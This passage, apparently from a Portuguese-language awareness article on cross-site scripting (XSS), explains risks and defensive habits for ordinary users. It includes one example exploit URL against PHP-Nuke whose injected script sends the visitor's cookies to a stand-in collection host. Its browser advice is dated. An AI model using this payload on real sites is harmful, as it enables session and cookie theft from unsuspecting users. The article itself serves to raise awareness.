Resumidamente, não há meios de proteger-se contra ataques XSS, pois são ataques que ocorrem devido a vulnerabilidades de aplicações web que o host está executando. Um dos mitos sobre XSS é que SSL pode protegê-lo de um ataque XSS, o que não é verdade. Entretanto, frequentemente vemos pessoas dizendo que um site pode ser vulnerável a XSS pelo fato do mesmo não suportar SSL, apenas porque a conexão ocorre em um ambiente seguro, tanto quanto encriptação de dados não significa nada para um atacante que explora vulnerabilidades a XSS, pois ainda assim, o código que o atacante está manipulando ainda é executado.
A melhor forma de proteger-se de ataques XSS é tomar cuidado com links que são enviados por e-mail ou postados em fóruns (ou algo do tipo) que você acesse. Se a URL possui código Hex em seu conteúdo, isso pode ser sinal de um ataque XSS. Não é habitual que uma URL normal contenha código Hex, entretanto os atacantes nem sempre codificam javascript ou outros códigos em formato hex. Uma URL que explora vulnerabilidades pode parecer como a se segue:
http://phpnuke.org/modules.php?name=Downloads&d_op=viewdownloaddetails&lid=02&ttitle=[http://site.org/stealcookie.cgi?'+document.cookie]
A URL acima é para explorar uma vulnerabilidade XSS na aplicação PHP Nuke, que é um software muito popular utilizado em muitos sites. Essa URL envia os cookies de usuários para http://site.org/stealcookie.cgi.
Pode ajudar se você configurar as opções de segurança do Internet Explorer para high (alta) ou desabilitar Javascript, Java, Flash, VBScript e ActiveX, embora isso possa atrapalhar o funcionamento do seu browser, e pode possivelmente preveni-lo de acessar alguns sites que contenham vulnerabilidades XSS. Entretanto, se seu browser possuir algumas linguagens como Javascript desabilitadas, é bem mais difícil para um atacante executar códigos maliciosos em seu browser.
Conclusão
Quando as pessoas acordarão e se darão conta de quão perigoso um ataque XSS pode ser? Ataques XSS são passíveis de serem descobertos em praticamente todas as aplicações baseadas na web, incluindo phpBB, Invision Power Board e PHPNuke.
Se as pessoas não tornarem-se conscientes dos ataques XSS, os atacante continuarão a explorar essas vulnerabilidades e isso pode levar a ataques poderosos e perigosos. É até mesmo possível que scammers escolham começar a usar ataques XSS ao invés do tradicional Phishing.
O fato é que as pessoas não prestam atenção às vulnerabilidades de XSS, e isso pode tornar-se muito perigoso. Com o tempo, talvez, isso mude e ataques desse tipo tornem-se mais raros.
Referências